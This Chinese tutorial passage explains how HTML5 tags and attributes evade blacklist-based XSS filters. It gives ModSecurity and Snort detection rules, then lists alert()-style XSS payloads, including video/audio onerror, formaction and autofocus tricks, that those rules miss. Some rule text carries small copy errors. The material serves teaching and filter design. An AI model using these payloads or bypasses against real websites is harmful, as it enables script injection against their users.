白名单和黑名单过滤器策略是防御XSS攻击的重要方法。对输入/输出的过滤而言,白名单的防御效果要强于黑名单。但白名单策略需要极其严格的编写方式,而且用户体验效果也不强。所以在现实中,防御XSS攻击使用黑名单策略仍占一大部分。
在传统的XSS黑名单策略中,会使用HTML的标签、属性和正则表达式作为关键字匹配。现在我们以开源Web应用防火墙Modsecurity和开源软件Snort中的XSS检测为例,来看看HTML5中的新元素是如何突破这种规则策略的。
1. 对HTML标签做黑名单策略
常见的XSS中用到的HTML标签格式如下:
<a href=javascript:… <applet src="data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4" type=text/html> <base href=javascript:... <bgsound src=javascript:... <body background=javascript:... <frameset><frame src="javascript:..."></frameset> <iframe src=javascript:... <img src=x onerror=... <input type=image src=javascript:... <layer src=... <link href="javascript:..." rel="stylesheet" type="text/css" <meta http-equiv="refresh" content="0;url=javascript:..." <object type=text/x-scriptlet data=... <script>...</script> <style type=text/javascript>alert('xss')</style> <table background=javascript:... <td background=javascript: <button onmouseover="alert(/1/)" onclick="alert(/2/)"></button>
针对这样的XSS代码,Modsecurity中的检测规则可以写为:
SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "<(a|abbr|acronym|address|applet|area|audioscope|b|base|basefront|bdo|bgsound|big|blackface|blink|blockquote|body|bq|br|button|caption|center|cite|code|col|colgroup|comment|dd|del|dfn|dir|div|dl|dt|em|embed|fieldset|fn|font|form|frame|frameset|h1|head|hr|html|i|iframe|ilayer|img|input|ins|isindex|kdb|keygen|label|layer|legend|li|limittext|link|listing|map|marquee|menu|meta|multicol|nobr|noembed|noframes|noscript|nosmartquotes|object|ol|optgroup|option|p|param|plaintext|pre|q|rt|ruby|s|samp|script|select|server|shadow|sidebar|small|spacer|span|strike|strong|style|sub|sup|table|tbody|td|textarea|tfoot|th|thead|title|tr|tt|u|ul|var|wbr|xml|xmp)\W" \ "phase:2,rev:'2.0.5',id:'973300',capture,t:none,t:jsDecode,t:lowercase,pass,nolog,auditlog,msg:'Possible XSS Attack Detected - HTML Tag Handler',logdata:'%{TX.0}',setvar:'tx.msg=%{rule.msg}',setvar:tx.xss_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/XSS-%{matched_var_name}=%{tx.0}"
Snort中的检测规则可以写为:
alert tcp any any -> any 80 (msg:"XSS 攻击识别"; pcre:"/<(a|abbr|acronym|address|applet|area|audioscope|b|base|basefront|bdo|bgsound|big|blackface|blink|denyquote|body|bq|br|button|caption|center|cite|code|col|colgroup|comment|dd|del|dfn|dir|div|dl|dt|em|embed|fieldset|fn|font|form|frame|frameset|h1|head|hr|html|i|iframe|ilayer|img|input|ins|isindex|kdb|keygen|label|layer|legend|li|limittext|link|listing|map|marquee|menu|meta|multicol|nobr|noembed|noframes|noscript|nosmartquotes|object|ol|optgroup|option|p|param|plaintext|pre|q|rt|ruby|s|samp|script|select|server|shadow|sidebar|small|spacer|span|strike|strong|style|sub|sup|table|tbody|td|textarea|tfoot|th|thead|title|tr|tt|u|ul|var|wbr|xml|xmp)\W/iU"; sid:10001; rev:1;)
2. 对HTML标签属性做黑名单策略
下面以on打头的标签属性为例,格式如下:
<body onload=…> <img src=x onerror=...>
Modsecurity中的检测规则可以写为:
SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bon(abort|blur|change|click|dblclick|dragdrop|error|focus|keydown|keypress|keyup|load|mousedown|mousemove|mouseout|mouseover|mouseup|move|readystatechange|reset|resize|select|submit|unload)\b\W*?=" \ "phase:2,rev:'2.0.5',id:'973303',capture,t:none,t:lowercase,pass,nol og,auditlog,msg:'XSS Attack Detected',logdata:'%{TX.0}',setvar:'tx.msg=% {rule.msg}',setvar:tx.xss_score=+%{tx.critical_anomaly_score},setvar:tx.anom aly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/XSS%{matched_var_name}=%{tx.0}"
Snort中的检测规则可以写为:
alert tcp any any -> any 80 (msg:"XSS攻击识别"; pcre:"/\bon(abort|blur|change|click|dblclick|dragdrop|error|focus|keydown|keypress|keyup|load|mousedown|mousemove|mouseout|mouseover|mouseup|move|readystatechange|reset|resize|select|submit|unload|bounce|start|loadedmetadata|durationchanged|timeupdate)\b\W*?=(alert|document|location)/iU"; sid:10002; rev:2;)
从8.1.1节中的Modsecurity和Snort规则不难发现,绕过这种黑名单策略,一种情况就是跨站师使用变形后的代码绕过正则表达式的语义范围,如果正则表达式书写非常严谨,那么就很难绕过。另一种情况是下面将要提到的,跨站师们可以轻松绕过跨站黑名单策略的又一利器——HTML5新标签和新属性。
1. 新标签
HTML5中可以利用到的新标签有音频标签<audio>和视频标签<video>。在这些标签中可以执行XSS代码:
<video onerror=javascript:alert(1)><source> <audio onerror=javascript:alert(1)><source> <video><source onerror="javascript:alert(1)"> <audio><source onerror="javascript:alert(1)"> <video src="some_valid_video" onloadedmetadata="alert(1)" ondurationchanged ="alert(2)" ontimeupdate="alert(3)"></video>
2. 新属性
HTML5中可以利用到的新属性有formaction、onformchange、onforminput、autofocus等,在这些属性中可以执行XSS代码:
<form id="test" /><button form="test" formaction="javascript:alert(1)">X <form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(2)>X <input onfocus=write(1) autofocus>
很明显,这些使用HTML5代码进行的XSS攻击,使用上面提到的Modsecurity和Snort规则是无法检测到的。
要了解更多跨站中用到的HTML5标签属性,可查看http://html5sec.org/。